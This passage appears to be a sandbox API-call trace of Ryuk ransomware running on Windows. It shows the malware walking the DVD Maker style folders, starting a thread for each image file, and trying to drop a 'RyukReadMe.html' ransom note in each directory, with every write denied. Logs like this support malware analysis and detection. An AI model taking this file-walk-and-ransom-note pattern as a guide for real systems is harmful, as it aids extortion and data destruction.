	[0175.094] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0175.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb18
	[0175.099] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.100] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0175.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c
	[0175.102] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.102] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0175.103] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20
	[0175.105] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.106] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x76, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1
	[0175.106] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24
	[0175.108] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.109] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x76, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0
	[0175.109] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0175.675] SetLastError (dwErrCode=0x0) 
	[0175.675] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.685] GetLastError () returned 0x5
	[0175.685] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0175.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.686] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x62, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0175.686] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad0
	[0175.688] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.689] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0175.689] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28
	[0175.691] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.692] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x62, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0175.692] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c
	[0175.694] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.695] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x62, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1
	[0175.695] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb30
	[0175.697] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.698] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1
	[0175.698] SetLastError (dwErrCode=0x0) 
	[0175.698] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.699] GetLastError () returned 0x5
	[0175.699] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0175.699] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0175.705] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0175.705] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0175.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38
	[0175.707] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.708] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0175.708] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c
	[0175.872] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.873] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x76, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1
	[0175.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40
	[0175.875] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.876] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x76, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1
	[0175.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44
	[0175.879] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.879] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0175.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48
	[0175.882] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.882] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0175.882] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c
	[0175.885] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.885] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0175.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50
	[0175.887] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.888] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0175.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54
	[0175.892] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.892] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0175.892] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58
	[0175.894] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.895] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0175.895] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb5c
	[0175.897] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.898] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x76, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1
	[0175.898] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0175.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60
	[0175.900] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0175.901] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x76, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0
	[0175.901] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0175.903] SetLastError (dwErrCode=0x0) 
	[0175.903] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.914] GetLastError () returned 0x5
	[0175.914] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0175.914] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.914] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1
	[0175.915] SetLastError (dwErrCode=0x0) 
	[0175.915] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.589] GetLastError () returned 0x5
	[0176.589] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0176.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
